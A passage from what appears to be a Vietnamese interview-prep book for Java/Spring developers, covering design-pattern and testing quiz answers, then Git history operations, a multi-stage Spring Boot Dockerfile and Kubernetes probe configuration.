Dòng 1 in [HE, dòng 2 in [HEL]: cùng ba decorator, chỉ đổi thứ tự bọc mà kết quả khác nhau. Lần từ trong ra ngoài. Dòng 1: upper biến "hello" thành "HELLO", brackets bọc thành "[HELLO]", shorten ở ngoài cùng cắt 3 ký tự đầu nên còn "[HE" (dấu ngoặc cũng bị tính là một ký tự). Dòng 2: upper cho "HELLO", shorten cắt còn "HEL", brackets ở ngoài cùng bọc thành "[HEL]". Bài học: decorator ngoài cùng nhận kết quả của mọi lớp bên trong và xử lý sau cùng, nên thứ tự lắp ghép là một phần của hành vi. Ví dụ thực tế ở mục 10.4: cache bọc ngoài log thì lần gọi thứ hai không được log; retry bọc ngoài circuit breaker khác hẳn circuit breaker bọc ngoài retry.
Câu hỏi (Hiểu sâu): Vì sao gọi method @Transactional từ một method khác trong cùng class thì không có transaction? Liên hệ với Proxy pattern.
Vì transaction được thêm bởi proxy bọc bên ngoài bean, còn lời gọi nội bộ this.method() đi thẳng vào object thật, không qua proxy. Giống ProxyDemo ở mục 10.4: chỉ lời gọi qua biến proxy mới in "before/after"; nếu bên trong RealPriceService có method A gọi this.priceOf(), handler không hề biết. Spring inject cho bạn proxy (CGLIB, xem mục 4.4), controller gọi orderService.placeOrder() đi qua proxy nên có transaction; nhưng placeOrder() gọi this.saveAudit() được đánh @Transactional(REQUIRES_NEW) thì annotation bị bỏ qua. Cách sửa: tách saveAudit sang bean khác, hoặc dùng TransactionTemplate tường minh.
	CÂU HỎI ĐÀO SÂU
Tự inject chính mình (@Lazy @Autowired OrderService self) có giải quyết được không? Có, vì self là proxy; nhưng đó là dấu hiệu class đang làm quá nhiều việc. Tôi ưu tiên tách bean vì vừa sửa được lỗi, vừa đúng SRP.



Câu hỏi (Thực chiến): Công ty muốn đổi nhà cung cấp SMS trong 2 tuần, và có thể đổi tiếp năm sau. Bạn thiết kế thế nào?
Định nghĩa interface SmsSender của riêng mình, mỗi nhà cung cấp là một Adapter, chọn adapter bằng cấu hình. Nghiệp vụ (gửi OTP, thông báo đơn) chỉ gọi smsSender.send(phone, text); toàn bộ khác biệt về SDK, định dạng số điện thoại, mã lỗi nằm trong VendorASmsAdapter, VendorBSmsAdapter. Dùng @ConditionalOnProperty(name = "sms.provider", havingValue = "vendor-b") hoặc một factory đọc cấu hình để chọn bean, nhờ đó chuyển đổi và quay lại chỉ cần đổi config. Trong giai đoạn chuyển, có thể viết thêm một decorator FallbackSmsSender gửi qua nhà cung cấp mới, lỗi thì thử nhà cung cấp cũ. Test: contract test chung cho mọi adapter, và fake SmsSender cho test nghiệp vụ.
Câu hỏi (Thực chiến): Listener gửi email xác nhận đơn, nhưng có khách nhận email trong khi đơn bị rollback. Vì sao và sửa thế nào?
Vì @EventListener mặc định chạy đồng bộ ngay khi publish, tức là trước khi transaction commit; nếu sau đó có lỗi và rollback, email đã đi mất. Đây là Observer chạy trong cùng thread và cùng transaction như đã nói ở mục 10.4. Sửa bằng @TransactionalEventListener(phase = AFTER_COMMIT) để listener chỉ chạy khi commit thành công, thường kèm @Async để việc gửi email chậm không kéo dài request. Nếu email là bắt buộc (không được mất khi app chết ngay sau commit), dùng outbox: ghi bản ghi "cần gửi email" vào bảng trong cùng transaction với đơn, một job hoặc CDC đọc bảng đó và gửi.
Câu hỏi (Đọc code): Builder dưới đây cho ra status bằng bao nhiêu? Vì sao?
	import lombok.Builder;
 
@Builder
class CreateOrderRequest {
    private String sku;
    private int quantity;
    private String status = "NEW";   // expected default
}
// CreateOrderRequest req = CreateOrderRequest.builder().sku("SKU-1").quantity(2).build();



Đáp án:
status bằng null, không phải "NEW". Lombok @Builder tạo constructor nhận đủ mọi field và builder truyền giá trị của chính builder vào; field status trong builder chưa được gán nên là null, giá trị khởi tạo = "NEW" trên field bị bỏ qua. Sửa bằng @Builder.Default private String status = "NEW";. Lỗi này hay lộ ra ở production dưới dạng NullPointerException hoặc vi phạm ràng buộc NOT NULL khi insert DB. Tốt hơn nữa là dùng enum OrderStatus thay cho chuỗi.
Câu hỏi (Cơ bản): Unit test, integration test và end-to-end test khác nhau thế nào? Cho ví dụ.
Khác nhau ở phạm vi thành phần thật tham gia: unit test một class với dependency giả, integration test vài thành phần thật ghép lại (DB, Spring context), e2e test cả hệ thống qua API như người dùng. Ví dụ với tính năng coupon: unit test CouponService.apply với repository mock, kiểm tra 200000 giảm 10% còn 180000; integration test CouponRepository trên PostgreSQL bằng Testcontainers, kiểm tra ràng buộc unique của mã coupon; e2e test gọi POST /orders có mã coupon và kiểm tra tổng tiền trong response. Tỷ lệ theo kim tự tháp: nhiều unit, vừa phải integration, rất ít e2e.
Câu hỏi (Hiểu sâu): Fake khác mock thế nào? Khi nào dùng fake?
Fake là một cài đặt đơn giản nhưng chạy thật (repository lưu vào HashMap), còn mock là object được lập trình trả lời theo kịch bản và ghi lại lời gọi. Fake có hành vi nhất quán: save rồi findById trả lại đúng object, không cần viết given cho từng lời gọi, nên test ngắn và ít gắn vào chi tiết cài đặt. Dùng fake khi dependency có trạng thái và được gọi nhiều lần trong một luồng (repository, cache, hàng đợi in-memory). Dùng mock khi cần kiểm tra side effect cụ thể (đã gửi email đúng một lần) hoặc cần giả lập lỗi (willThrow(new SocketTimeoutException())). Rủi ro của fake: nếu nó lệch hành vi so với bản thật (ví dụ không kiểm tra unique), test xanh nhưng production lỗi; vì vậy vẫn cần integration test cho repository thật.
Câu hỏi (Đọc code): Test dưới đây sai ở đâu?
	import static org.mockito.Mockito.*;
import static org.junit.jupiter.api.Assertions.assertEquals;
 
import java.math.BigDecimal;
import org.junit.jupiter.api.Test;
 
class PriceCalculatorTest {
    @Test
    void shouldApplyVat() {
        PriceCalculator calc = mock(PriceCalculator.class);                     // mocks the class under test
        when(calc.withVat(new BigDecimal("100"))).thenReturn(new BigDecimal("110"));
        assertEquals(new BigDecimal("110"), calc.withVat(new BigDecimal("100")));
    }
}



Đáp án:
Test mock chính class đang cần test, nên nó chỉ kiểm tra rằng Mockito trả về đúng giá trị vừa được dạy; code thật của withVat không hề chạy. Dù withVat tính sai VAT thành 108 hay ném exception, test vẫn xanh. Sửa: tạo object thật new PriceCalculator() (chỉ mock dependency của nó nếu có), gọi withVat(new BigDecimal("100")) và so sánh với kết quả kỳ vọng tính tay, ví dụ isEqualByComparingTo("110") nếu VAT 10%. Lưu ý thêm: assertEquals với BigDecimal so sánh cả scale, 110 và 110.00 bị coi là khác nhau.
Câu hỏi (Thực chiến): Một test thỉnh thoảng đỏ trên CI vào lúc gần nửa đêm, chạy lại thì xanh. Bạn điều tra và sửa thế nào?
Test flaky theo thời gian gần như luôn do code đọc thẳng đồng hồ hệ thống (LocalDate.now(), Instant.now()) hoặc do múi giờ khác nhau giữa máy dev và CI. Ví dụ code tính "đơn đặt hôm nay" với LocalDate.now(), còn test tạo dữ liệu bằng Instant.now() theo UTC: lúc 23:30 giờ Việt Nam là 16:30 UTC cùng ngày, nhưng lúc 00:30 giờ Việt Nam lại là 17:30 UTC ngày hôm trước, hai bên lệch ngày. Sửa: inject java.time.Clock vào service và dùng LocalDate.now(clock); test truyền Clock.fixed(...) với một thời điểm cố định, kể cả các mốc biên như 23:59:59 và 00:00:00. Trong Spring, khai báo bean Clock.systemDefaultZone() cho production. Các nguồn flaky khác cần loại trừ: thứ tự chạy test với dữ liệu dùng chung, Thread.sleep chờ việc bất đồng bộ (thay bằng Awaitility), cổng mạng cố định.
Câu hỏi (Hiểu sâu): Vì sao không nên verify mọi lời gọi trong unit test?
Vì verify kiểm tra cách code làm việc, không phải kết quả; verify quá nhiều làm test vỡ mỗi khi refactor dù hành vi không đổi. Ví dụ verify findByCode được gọi đúng một lần: thêm cache vào service là test đỏ, dù người dùng không thấy khác biệt gì. Nguyên tắc: ưu tiên kiểm tra giá trị trả về và trạng thái (state-based testing); chỉ verify những tương tác là hành vi cần đảm bảo, tức là side effect ra ngoài hệ thống: đã lưu, đã gửi email, đã publish event, không gọi cổng thanh toán khi hết hàng.
Câu hỏi (Thực chiến): Test repository chạy xanh trên H2 nhưng lên staging (PostgreSQL) thì lỗi. Vì sao, và bạn đổi cách test thế nào?
H2 chỉ giả lập PostgreSQL ở mức cú pháp cơ bản; khác biệt về kiểu dữ liệu, hàm, native query và hành vi khóa làm test trên H2 không chứng minh được gì cho PostgreSQL. Ví dụ hay gặp: native query dùng ON CONFLICT, jsonb, ILIKE hoặc hàm ngày giờ riêng của PostgreSQL; kiểu timestamptz; so sánh chuỗi phân biệt hoa thường khác nhau; migration Flyway viết cho PostgreSQL không chạy trên H2. Cách sửa: dùng Testcontainers chạy đúng image PostgreSQL cùng phiên bản với production, @AutoConfigureTestDatabase(replace = NONE) và @ServiceConnection như ví dụ ở mục 10.6, để Flyway chạy migration thật trước test. Chi phí vài giây khởi động container đổi lấy niềm tin rằng test xanh nghĩa là production chạy được.
	CÂU HỎI ĐÀO SÂU
Làm sao để nhiều class test không khởi động nhiều container? Khai báo container static trong một class cha hoặc interface dùng chung, và giữ cấu hình Spring giống nhau để context được cache; Testcontainers còn có chế độ reuse cho máy dev.



Câu hỏi (Cơ bản): Given-when-then là gì? Vì sao mỗi test chỉ nên kiểm tra một hành vi?
Given-when-then là cách chia thân test thành ba phần: chuẩn bị dữ liệu và dependency (given), gọi đúng một hành vi (when), kiểm tra kết quả (then). Chia như vậy giúp người đọc thấy ngay test đang nói điều gì, giống một câu nghiệp vụ: "cho coupon còn 3 lượt, khi áp dụng cho đơn 200000, thì trả 180000 và còn 2 lượt". Mỗi test một hành vi để khi test đỏ, tên test cho biết ngay quy tắc nào hỏng; một test kiểm tra năm hành vi sẽ dừng ở assertion đầu tiên fail và che mất các lỗi sau. "Một hành vi" không có nghĩa là "một assert": kiểm tra số tiền và số lượt còn lại trong cùng một test vẫn là một hành vi.
10.9 Tóm tắt trọng tâm
1. Clean code được đo bằng chi phí thay đổi: tên rõ ý, guard clause và enum thay số trần giúp người sau sửa nhanh và ít gây lỗi âm thầm.
1. SRP nghĩa là một class chỉ có một lý do để thay đổi, vì gộp nhiều trách nhiệm khiến mọi thay đổi nhỏ đều có nguy cơ làm hỏng phần không liên quan.
1. OCP nghĩa là thêm hành vi bằng class mới thay vì sửa khối switch đã chạy ổn, vì code cũ đã được test không nên bị mở ra mỗi lần có yêu cầu mới.
1. LSP đòi class con giữ đúng hợp đồng hành vi của class cha, vì vi phạm không báo lỗi biên dịch mà cho kết quả sai âm thầm như Square/Rectangle.
1. ISP chia interface theo nhu cầu của client, nhờ đó lỗi "gọi chức năng không có" bị chặn lúc biên dịch thay vì nổ lúc chạy.
1. DIP bắt nghiệp vụ phụ thuộc interface do chính nó định nghĩa; DI chỉ là cách truyền dependency vào, có DI chưa chắc đã có DIP.
1. Singleton thread-safe dùng enum hoặc holder; double-checked locking bắt buộc volatile vì phép gán tham chiếu có thể bị sắp xếp lại trước khi constructor chạy xong.
1. Mỗi pattern giải quyết một vấn đề cụ thể: Factory gom việc chọn class, Builder chống nhầm tham số, Strategy thay if-else lớn, Template Method cố định khung, Proxy và Decorator bọc thêm hành vi, Observer tách người phát khỏi người nghe, Adapter cách ly SDK bên ngoài.
1. Spring dùng Proxy cho @Transactional, vì vậy lời gọi nội bộ this.method() không có transaction.
1. Pattern chỉ đáng dùng khi có dấu hiệu thay đổi thật; áp pattern cho có là over-engineering và làm code khó đọc hơn.
1. Unit test nhanh và cô lập, integration test bắt lỗi ghép nối với DB và Spring, e2e test chỉ nên giữ cho vài luồng chính vì chậm và dễ vỡ.
1. Stub cung cấp dữ liệu, mock ghi lại lời gọi để verify, spy bọc object thật, fake là cài đặt đơn giản chạy được; ưu tiên kiểm tra kết quả hơn verify tương tác.
1. Test tốt có tên mô tả hành vi, chia given-when-then, assert giá trị cụ thể và không chia sẻ trạng thái giữa các test.
1. Coverage chỉ cho biết dòng nào chưa chạy; test repository nên chạy trên DB thật bằng Testcontainers thay vì H2.
10.10 Checklist ôn tập
1. Giải thích 5 nguyên tắc SOLID, mỗi nguyên tắc kèm một dấu hiệu vi phạm trong code thật.
1. Trình bày ví dụ Square/Rectangle và cách sửa.
1. Phân biệt DIP, DI, IoC; nêu lý do dùng constructor injection.
1. Viết được Singleton bằng enum, holder, double-checked locking và giải thích volatile.
1. Biết bean singleton chỉ an toàn khi stateless.
1. Viết Strategy với danh sách bean inject từ Spring.
1. Nhận ra Proxy, Template Method, Observer, Decorator, Adapter trong Spring.
1. Kể được 3 anti-pattern và một lần bạn tránh over-engineering.
1. Viết unit test given-when-then với JUnit 5, Mockito; phân biệt mock, stub, spy.
1. Chọn đúng @WebMvcTest, @DataJpaTest, @SpringBootTest; biết Testcontainers và @ServiceConnection.
1. Nói được quan điểm về coverage, TDD và thứ tự ưu tiên khi review code.
1. Với mỗi nguyên tắc SOLID, viết được cặp code vi phạm và code sửa, nói được hậu quả khi yêu cầu thay đổi.
1. Với mỗi pattern (Factory, Builder, Strategy, Template Method, Proxy, Observer, Decorator, Adapter), nêu được vấn đề nó giải quyết và nơi gặp trong JDK/Spring.
1. Phân biệt unit, integration, e2e test và stub, mock, spy, fake bằng ví dụ cụ thể.
1. Chỉ ra được lỗi trong một test tồi: tên mơ hồ, trạng thái dùng chung, assert yếu, mock chính class đang test.
Chương 11. DevOps tối thiểu, Logging và xử lý sự cố Production
Ở mức 2–4 năm, không ai kỳ vọng bạn là DevOps engineer, nhưng tôi kỳ vọng bạn tự đóng gói được service, đọc được pipeline, biết vì sao pod bị restart và biết làm gì trong 15 phút đầu khi production báo lỗi. Câu hỏi "hệ thống lỗi lúc 2 giờ sáng thì bạn làm gì" nói về một kỹ sư nhiều hơn bất kỳ câu hỏi lý thuyết nào.
	NGƯỜI PHỎNG VẤN MUỐN KIỂM TRA
1. Dùng Git thành thạo: merge vs rebase, revert vs reset, xử lý conflict.
1. Viết Dockerfile multi-stage hợp lý và hiểu probe, graceful shutdown trên Kubernetes.
1. Log có cấu trúc, có traceId, không lộ dữ liệu nhạy cảm; biết metrics và alert cơ bản.
1. Dùng được các lệnh Linux để đọc log và kiểm tra tài nguyên.
1. Có quy trình xử lý sự cố: giảm thiệt hại trước, tìm nguyên nhân sau.



11.1 Git trong làm việc nhóm
	NHẮC LẠI KIẾN THỨC
Luồng Git hằng ngày (switch -c, add, commit, fetch, pull, push) và cách đọc conflict đã có ở N2.13. Nhắc lại ba khái niệm dùng ở mục này: commit là một ảnh chụp toàn bộ code kèm con trỏ tới commit cha; nhánh (branch) chỉ là một cái nhãn trỏ vào một commit; HEAD là nhãn cho biết bạn đang đứng ở nhánh/commit nào.



	Tiêu chí
	Merge
	Rebase

	Lịch sử
	Giữ nguyên, thêm merge commit
	Thẳng hàng, viết lại commit

	An toàn
	Không đổi commit đã có
	Đổi hash commit, cần force push

	Dùng khi
	Gộp feature vào nhánh chung
	Cập nhật nhánh cá nhân theo main trước khi tạo PR



Quy tắc vàng: không rebase nhánh mà người khác đang dùng chung. Khi force push nhánh của mình, dùng git push --force-with-lease để không ghi đè commit người khác vừa đẩy lên.
Git flow có develop, release/*, hotfix/*, hợp với sản phẩm phát hành theo phiên bản. Trunk-based dùng nhánh ngắn hạn merge về main hằng ngày, kết hợp feature flag, hợp với CI/CD liên tục. Nhiều team hiện nay dùng biến thể đơn giản: main cộng nhánh feature ngắn và PR.
1. Conflict: đọc hiểu cả hai phía, sửa, chạy lại build và test trước khi commit; không chọn bừa "accept theirs".
1. Cherry-pick: lấy một commit cụ thể sang nhánh khác, thường dùng mang bản vá từ main sang nhánh release.
1. Revert tạo commit mới đảo ngược thay đổi, an toàn với nhánh đã push. Reset di chuyển con trỏ nhánh về commit cũ (--soft giữ thay đổi đã stage, --mixed giữ trong working tree, --hard bỏ hết), chỉ dùng cho commit chưa chia sẻ.
Trạng thái nhánh trước và sau merge, rebase
Giả sử bạn tạo nhánh feature từ main khi main đang ở commit B. Sau đó bạn commit D, E trên feature, còn đồng nghiệp đẩy commit C lên main. Hai nhánh đã "rẽ" khỏi nhau tại B.
	Before:
A---B---C          main
     \
      D---E        feature
 
After "git switch main && git merge feature":
A---B---C-------M  main
     \         /
      D---E----    feature
 
After "git switch feature && git rebase main":
A---B---C          main
         \
          D'--E'   feature



Giải thích:
1. Trước: lịch sử có hai nhánh rẽ ra từ B. main có C mà feature chưa có, feature có D, E mà main chưa có.
1. Sau merge: Git tạo một commit mới M có hai cha là C và E, gộp nội dung của cả hai phía. Các commit D, E giữ nguyên hash, lịch sử cho thấy rõ "feature đã được gộp vào lúc này". Nhãn feature vẫn trỏ vào E.
1. Sau rebase: Git lấy từng thay đổi của D và E, áp lại lên đầu C, tạo ra hai commit mới D', E' (nội dung thay đổi giống, nhưng cha khác nên hash khác). Lịch sử thẳng một đường, như thể bạn bắt đầu làm feature sau khi C đã có. D, E cũ không còn nhánh nào trỏ tới.
1. Vì rebase tạo commit mới, nếu D, E đã được push và người khác đã kéo về, lịch sử của họ và của bạn lệch nhau; đó là lý do không rebase nhánh dùng chung và phải push --force-with-lease sau khi rebase nhánh của riêng mình.
Reset và revert qua hai kịch bản cụ thể
Kịch bản 1 (reset, commit chưa push): bạn vừa commit trên nhánh cá nhân và phát hiện lỡ đưa file .env chứa mật khẩu DB vào commit. Commit chưa push nên chưa ai thấy; có thể viết lại lịch sử cục bộ.
	git log --oneline -3
# 9f2c1ab (HEAD -> feature/coupon) Add coupon API      <- contains .env by mistake
# 4d8e7f0 Add coupon entity
# 1a2b3c4 (origin/main, main) Release 1.4.1
git reset --soft HEAD~1       # move the branch back one commit, keep all changes staged
git restore --staged .env     # unstage the secret file, it stays on disk
echo ".env" >> .gitignore
git add .gitignore && git commit -m "Add coupon API"
git log --oneline -2
# 5e6f7a8 (HEAD -> feature/coupon) Add coupon API
# 4d8e7f0 Add coupon entity



Giải thích: HEAD~1 nghĩa là "commit cha của commit hiện tại". reset --soft HEAD~1 kéo nhãn nhánh lùi về 4d8e7f0 nhưng giữ nguyên mọi thay đổi của 9f2c1ab ở trạng thái đã stage, nên bạn chỉ cần bỏ .env ra rồi commit lại. Commit 9f2c1ab biến mất khỏi nhánh, thay bằng 5e6f7a8 sạch. Ba chế độ reset khác nhau ở chỗ thay đổi của commit bị bỏ đi nằm đâu:
	Lệnh
	Nhánh lùi về commit cũ
	Thay đổi của commit bị bỏ

	git reset --soft HEAD~1
	Có
	Còn, đã stage, sẵn sàng commit lại

	git reset --mixed HEAD~1 (mặc định)
	Có
	Còn trong file, chưa stage

	git reset --hard HEAD~1
	Có
	Mất khỏi working tree (chỉ cứu được qua git reflog)



Kịch bản 2 (revert, commit đã lên main): commit 7c3d9e1 đổi cách làm tròn tiền giảm giá đã được merge vào main và deploy, khách bắt đầu bị tính sai 1 đồng. Nhiều người đã kéo main về, nên không được viết lại lịch sử.
	git switch main && git pull
git log --oneline -3
# 7c3d9e1 Change discount rounding to HALF_DOWN
# b4a1f02 Add order export
# 1a2b3c4 Release 1.4.1
git revert 7c3d9e1 --no-edit
# [main 0e9d8c7] Revert "Change discount rounding to HALF_DOWN"
#  1 file changed, 1 insertion(+), 1 deletion(-)
git push origin main          # a normal push, no force needed



Giải thích: revert không xóa 7c3d9e1; nó tạo commit mới 0e9d8c7 có nội dung ngược lại (dòng nào commit kia thêm thì bỏ đi, dòng nào bỏ thì thêm lại). Lịch sử chỉ dài thêm, người khác pull về bình thường, và lịch sử vẫn ghi lại rằng thay đổi từng tồn tại rồi bị gỡ, rất có ích khi viết postmortem. b4a1f02 không bị ảnh hưởng. Nếu dùng reset --hard rồi push --force ở đây, mọi người đang có 7c3d9e1 sẽ bị lệch lịch sử và có thể đẩy lại chính commit lỗi.
11.2 Docker cho Spring Boot
Image là bản đóng gói chỉ đọc gồm nhiều layer; container là một instance đang chạy của image, có thêm một layer ghi. Docker cache theo layer: layer nào không đổi thì dùng lại, nên đặt thứ ít thay đổi (dependency) lên trước, code hay thay đổi xuống sau. Dockerfile dưới đây áp dụng nguyên tắc đó cho một service Spring Boot build bằng Maven.
	# Stage 1: build, has the JDK and the Maven wrapper
FROM eclipse-temurin:21-jdk AS build
WORKDIR /app
COPY mvnw pom.xml ./
COPY .mvn .mvn
# Dependency download layer is cached while pom.xml is unchanged
RUN ./mvnw -q dependency:go-offline
COPY src src
RUN ./mvnw -q package -DskipTests
RUN java -Djarmode=tools -jar target/*.jar extract --layers --launcher --destination extracted
 
# Stage 2: runtime, JRE only, no source code and no Maven
FROM eclipse-temurin:21-jre
WORKDIR /app
# Create a regular user, do not run as root
RUN useradd --system --uid 1001 spring
USER spring
# Copy from rarely changed to often changed to reuse layer cache
COPY --from=build /app/extracted/dependencies/ ./
COPY --from=build /app/extracted/spring-boot-loader/ ./
COPY --from=build /app/extracted/snapshot-dependencies/ ./
COPY --from=build /app/extracted/application/ ./
EXPOSE 8080
ENTRYPOINT ["java", "-XX:MaxRAMPercentage=75", "org.springframework.boot.loader.launch.JarLauncher"]



Giải thích: lần build đầu, stage 1 tải toàn bộ dependency, build fat jar rồi tách jar thành bốn thư mục theo mức độ thay đổi. Stage 2 bắt đầu lại từ image JRE sạch và chỉ copy bốn thư mục đó sang, nên image cuối không chứa JDK, Maven, mã nguồn hay thư mục ~/.m2. Ở lần build sau, nếu bạn chỉ sửa code trong src, Docker dùng lại cache của bước dependency:go-offline và của các layer dependency, chỉ build lại và đẩy lên registry layer application nhỏ. Khi container chạy, JarLauncher khởi động ứng dụng từ các thư mục đã tách, không cần giải nén jar lúc start. Các điểm cần nói được khi phỏng vấn:
1. Multi-stage: stage build có JDK và Maven, stage chạy chỉ có JRE, image nhỏ và ít lỗ hổng hơn.
1. Tách layer: đổi code chỉ build lại layer application vài trăm KB thay vì cả fat jar.
1. Chạy bằng user thường, không phải root. Test đã chạy ở bước CI trước đó nên ở đây bỏ qua.
1. MaxRAMPercentage để heap tính theo giới hạn bộ nhớ của container.
	GHI CHÚ
Cú pháp -Djarmode=tools ... extract --layers --launcher áp dụng từ Spring Boot 3.3; bản cũ hơn dùng -Djarmode=layertools -jar app.jar extract. Launcher chuyển sang package org.springframework.boot.loader.launch từ Spring Boot 3.2.



	NHẮC LẠI KIẾN THỨC
-XX:MaxRAMPercentage và các tham số Heap đã giải thích ở mục 2.5: JVM trong container đọc giới hạn bộ nhớ của container và lấy tỷ lệ phần trăm đó làm Heap tối đa.



Image, container, layer nói bằng lời thường
1. Image giống một bản cài đặt đã đóng băng: chứa hệ điều hành tối thiểu, JRE, file jar và lệnh khởi động. Image chỉ đọc, không chạy; từ một image có thể chạy ra bao nhiêu bản cũng được, và bản nào cũng giống hệt nhau trên máy dev, CI hay production.
1. Container là một bản đang chạy của image: một tiến trình được cô lập (có hệ thống file, mạng, giới hạn CPU/RAM riêng). Container ghi file thì ghi vào lớp ghi riêng của nó; xóa container là mất lớp đó, image không đổi. Quan hệ image và container giống class và object trong Java.
1. Layer là một lớp thay đổi file. Mỗi lệnh RUN, COPY, ADD trong Dockerfile tạo ra một layer chứa đúng những file mà lệnh đó thêm hoặc sửa; image là chồng các layer lên nhau. Docker nhận diện layer bằng hash nội dung, nên layer đã có thì không build lại và không đẩy lên registry lần nữa. Khi một layer thay đổi, mọi layer phía sau nó cũng phải build lại.
Các lệnh dưới đây build image từ Dockerfile ở trên, chạy container và kiểm tra kết quả. Output là mẫu rút gọn.
	$ docker build -t order-service:1.4.2 .
 => CACHED [build 4/8] RUN ./mvnw -q dependency:go-offline               0.0s
 => [build 5/8] COPY src src                                               0.1s
 => [build 6/8] RUN ./mvnw -q package -DskipTests                         41.7s
 => CACHED [stage-1 4/7] COPY --from=build /app/extracted/dependencies/   0.0s
 => [stage-1 7/7] COPY --from=build /app/extracted/application/ ./        0.1s
$ docker images order-service
REPOSITORY      TAG     IMAGE ID       CREATED          SIZE
order-service   1.4.2   3f1c2a9e8b7d   12 seconds ago   298MB
$ docker run -d --name order -p 8080:8080 -m 1g order-service:1.4.2
a1b2c3d4e5f60718293a4b5c6d7e8f90a1b2c3d4e5f60718293a4b5c6d7e8f9
$ docker ps
CONTAINER ID   IMAGE                 STATUS          PORTS                    NAMES
a1b2c3d4e5f6   order-service:1.4.2   Up 15 seconds   0.0.0.0:8080->8080/tcp   order
$ docker logs --tail 1 order
Started OrderApplication in 6.412 seconds (process running for 7.1)



Giải thích:
1. docker build: dòng CACHED nghĩa là layer được dùng lại; ở đây chỉ sửa code nên bước tải dependency và layer dependencies đều CACHED, chỉ bước compile và layer application chạy lại.
1. docker images: image cuối khoảng 300MB vì chỉ có JRE; nếu dùng image JDK một stage thường dễ lên 600–800MB.
1. docker run -d -p 8080:8080 -m 1g: chạy nền, nối cổng 8080 của máy vào cổng 8080 của container, giới hạn RAM 1GB. Output là id đầy đủ của container.
1. docker ps: STATUS Up 15 seconds nghĩa là đang chạy. Nếu container chết, dùng docker ps -a sẽ thấy Exited (137) (bị kill, thường do vượt giới hạn RAM) hoặc Exited (1) (ứng dụng tự thoát vì lỗi, đọc docker logs để biết lý do).
1. docker logs: xem stdout của ứng dụng; dòng Started ... in 6.412 seconds xác nhận Spring Boot đã khởi động xong.
11.3 Kubernetes tối thiểu
1. Pod: đơn vị chạy nhỏ nhất, chứa một hoặc vài container, có IP riêng, có thể bị xóa và tạo lại bất cứ lúc nào.
1. Deployment: khai báo số replica và image; lo rolling update và rollback (kubectl rollout undo).
1. Service: địa chỉ ổn định và cân bằng tải tới các pod khớp label.
1. Readiness probe: pod đã sẵn sàng nhận traffic chưa; fail thì bị rút khỏi Service nhưng không bị restart.
1. Liveness probe: pod còn sống không; fail thì bị restart. Không đưa kiểm tra DB vào liveness, nếu không DB chậm sẽ làm mọi pod restart dây chuyền.
Đoạn khai báo container dưới đây (một phần của Deployment) gắn hai probe vào endpoint health của Spring Boot Actuator và đặt giới hạn tài nguyên.
	containers:
  - name: order-service
    image: registry.example.com/order-service:1.4.2   # fixed tag, never latest
    ports:
      - containerPort: 8080
    readinessProbe:                                    # fail -> removed from Service, not restarted
      httpGet: { path: /actuator/health/readiness, port: 8080 }
      periodSeconds: 5
    livenessProbe:                                     # repeated failures -> container restarted
      httpGet: { path: /actuator/health/liveness, port: 8080 }
      initialDelaySeconds: 30                          # wait for the app to start before checking
      periodSeconds: 10
    resources:
      requests: { cpu: "500m", memory: "768Mi" }       # used to schedule the pod onto a node
      limits: { memory: "1Gi" }                        # exceeding it -> OOMKilled



Giải thích: Kubernetes gọi /actuator/health/readiness mỗi 5 giây; khi endpoint này báo lỗi, pod bị gỡ khỏi danh sách endpoint của Service và không nhận request mới, nhưng vẫn chạy. Liveness được gọi mỗi 10 giây sau 30 giây đầu; fail liên tiếp (mặc định 3 lần) thì kubelet restart container. Spring Boot tự bật hai nhóm health liveness và readiness khi phát hiện đang chạy trên Kubernetes. Về tài nguyên, scheduler chỉ đặt pod lên node còn đủ 0,5 CPU và 768Mi; nếu tiến trình dùng quá 1Gi, container bị kill với exit code 137 (OOMKilled). Kết hợp với -XX:MaxRAMPercentage=75 ở Dockerfile, heap tối đa khoảng 768MB, phần còn lại dành cho Metaspace, thread stack và bộ nhớ ngoài heap.
Graceful shutdown: khi pod bị dừng, Kubernetes gửi SIGTERM, chờ terminationGracePeriodSeconds (mặc định 30 giây) rồi SIGKILL. Spring Boot với server.shutdown=graceful (mặc định từ 3.4) ngừng nhận request mới và chờ request đang chạy xong trong spring.lifecycle.timeout-per-shutdown-phase. Thường thêm preStop sleep vài giây để Service kịp rút pod khỏi danh sách endpoint, tránh lỗi 502 lúc deploy.
Kịch bản: pod khởi động chậm bị liveness giết liên tục
Trước hết, probe là việc Kubernetes định kỳ "gõ cửa" container (gọi một URL HTTP, mở một cổng TCP hoặc chạy một lệnh) để hỏi tình trạng. Mỗi probe có ba tham số chính: initialDelaySeconds (chờ bao lâu mới bắt đầu hỏi), periodSeconds (bao lâu hỏi một lần), failureThreshold (sai liên tiếp bao nhiêu lần thì coi là hỏng, mặc định 3).
Tình huống: một bản deploy mới thêm migration Flyway tạo index trên bảng lớn, ứng dụng cần khoảng 90 giây để khởi động. Cấu hình liveness vẫn như ví dụ trên: chờ 30 giây, hỏi mỗi 10 giây, sai 3 lần thì restart.
	$ kubectl get pods -l app=order-service
NAME                             READY   STATUS             RESTARTS      AGE
order-service-7d9f8b6c5d-x2k4p   0/1     CrashLoopBackOff   4 (25s ago)   6m12s
$ kubectl describe pod order-service-7d9f8b6c5d-x2k4p | tail -3
  Warning  Unhealthy  Liveness probe failed: Get "http://10.1.2.3:8080/actuator/health/liveness": dial tcp 10.1.2.3:8080: connect: connection refused
  Normal   Killing    Container order-service failed liveness probe, will be restarted
  Warning  BackOff    Back-off restarting failed container
$ kubectl logs order-service-7d9f8b6c5d-x2k4p --previous | tail -1
INFO  o.f.core.internal.command.DbMigrate : Migrating schema "public" to version "42 - add order index"



Giải thích: dòng thời gian của mỗi lần khởi động: giây 0 container bắt đầu; giây 30 liveness hỏi lần đầu, ứng dụng chưa mở cổng nên connection refused; giây 40 và 50 sai tiếp; đủ 3 lần sai, kubelet giết container ở khoảng giây 50, trong khi migration cần tới giây 90. Container khởi động lại từ đầu, lại bị giết, và sau vài vòng Kubernetes chuyển sang CrashLoopBackOff (chờ ngày càng lâu giữa các lần thử). kubectl logs --previous xem log của lần chạy vừa chết, cho thấy nó đang dừng ở bước migration. Cách sửa đúng là thêm startupProbe:
	startupProbe:                        # runs first; liveness and readiness wait until it succeeds
  httpGet: { path: /actuator/health/liveness, port: 8080 }
  periodSeconds: 10
  failureThreshold: 18               # allows up to 18 x 10 = 180s to start
livenessProbe:
  httpGet: { path: /actuator/health/liveness, port: 8080 }
  periodSeconds: 10                  # no long initialDelaySeconds needed any more
readinessProbe:
  httpGet: { path: /actuator/health/readiness, port: 8080 }
  periodSeconds: 5



